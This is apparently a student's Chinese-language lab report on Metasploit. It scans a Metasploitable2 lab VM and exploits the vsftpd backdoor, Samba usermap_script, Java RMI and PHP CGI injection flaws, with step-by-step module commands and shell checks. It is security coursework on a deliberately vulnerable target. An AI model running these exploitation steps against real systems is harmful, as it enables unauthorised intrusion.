20222302 2024-2025-1 《网络与系统攻防技术》实验六实验报告
1.实验内容
掌握metasploit的用法。
下载官方靶机Metasploitable2,完成下面实验内容。
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
(4)Java RMI SERVER命令执行漏洞(1099端口)
(5)PHP CGI参数执行注入漏洞(80端口)
2.实验过程
2.1前期渗透
2.1.1主机发现:
查看主机ip地址:
发现主机ip地址为192.168.12.129
查看靶机ip地址:
发现靶机ip地址为192.168.12.146
使用root权限启动msfconsole
搜索漏洞库,输入命令search arp_sweep
use 0
show options
设置好靶机ip后run
2.1.2 端口扫描
利用Aux中的portscan/tcp,输入命令search portscan/tcp
use 0
show options
扫描到了1-65535中的以下端口
设置靶机ip和扫描端口范围,输入命令set RHOSTS 192.168.12.146
set PORTS 1=65535
后run
2.1.3扫描目标HTTP服务器的HTTP版本信息
输入命令use auxiliary/scanner/http/http_version
show missing
set RHOST 192.168.12.146
,然后run
2.2 Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
在kali中执行msfconsole
启动metasploit后输入命令use exploit/unix/ftp/vsftpd_234_backdoor
来选择漏洞,set RHOST 192.168.12.146
来设置靶机IP
输入命令run
,利用成功,执行uname –a、 pwd、 id等命令 验证
2.3 SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
这里靶机ip改变为192.168.1.116
输入命令use exploit/multi/samba/usermap_script
来选择漏洞
输入set RHOST 192.168.1.116
来设置靶机IP
输入run
开始攻击,执行uname–a验证
2.4 Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
根据前期扫描结果,靶机1099端口是开放的
这里使用同学的电脑完成,因此靶机ip地址改变为192.168.1.112
然后在MSF中输入命令
use exploit/multi/misc/java_rmi_server
show missing
set RHOST 192.168.1.112
run
运行成功
输入命令sessions -i 3
进入任务
输入shell,利用whoami验证下
2.5、PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
根据前期扫描结果可知,靶机80端口是开放的
输入命令use exploit/multi/http/php_cgi_arg_injection
来选择漏洞
set RHOST 192.168.1.116
来设置靶机IP
输入run
开始攻击,进入shell后输入ls查看文件
3.问题及解决方案
问题1:第四步Java RMI SERVER命令执行漏洞(1099端口)过程中不能建立session
解决方案:查询资料发现可能是RMI服务不能正常启动,需要运用Java的知识,因为缺少Java相关知识所以选择同学的虚拟机进行第四步。
4.学习感悟、思考等
通过本次实验,我发现Metasploit的功能非常强大,它集成了众多的漏洞利用模块、payload(有效载荷)、辅助模块等。在学习和实践过程中,我深刻体会到了这款工具在网络安全领域的重要性。通过它,我可以对目标系统进行全面的漏洞扫描和渗透测试,从而对靶机进行攻击。Metasploit的使用需要一定的技术基础和经验。通过不断地学习和实践,我逐渐掌握了它的使用方法和技巧。我学会了如何使用search、show、set、run这些命令。Metasploit的实践学习也让我更加明白了网络安全的重要性。在渗透测试过程中,我深刻体会到了黑客攻击的危害性和破坏性。一旦目标系统存在漏洞,黑客就可以利用这些漏洞进行攻击,窃取敏感信息、破坏系统正常运行,甚至造成更大的损失。因此,保护网络安全至关重要,需要不断地加强安全防护措施,提高系统的安全性和稳定性。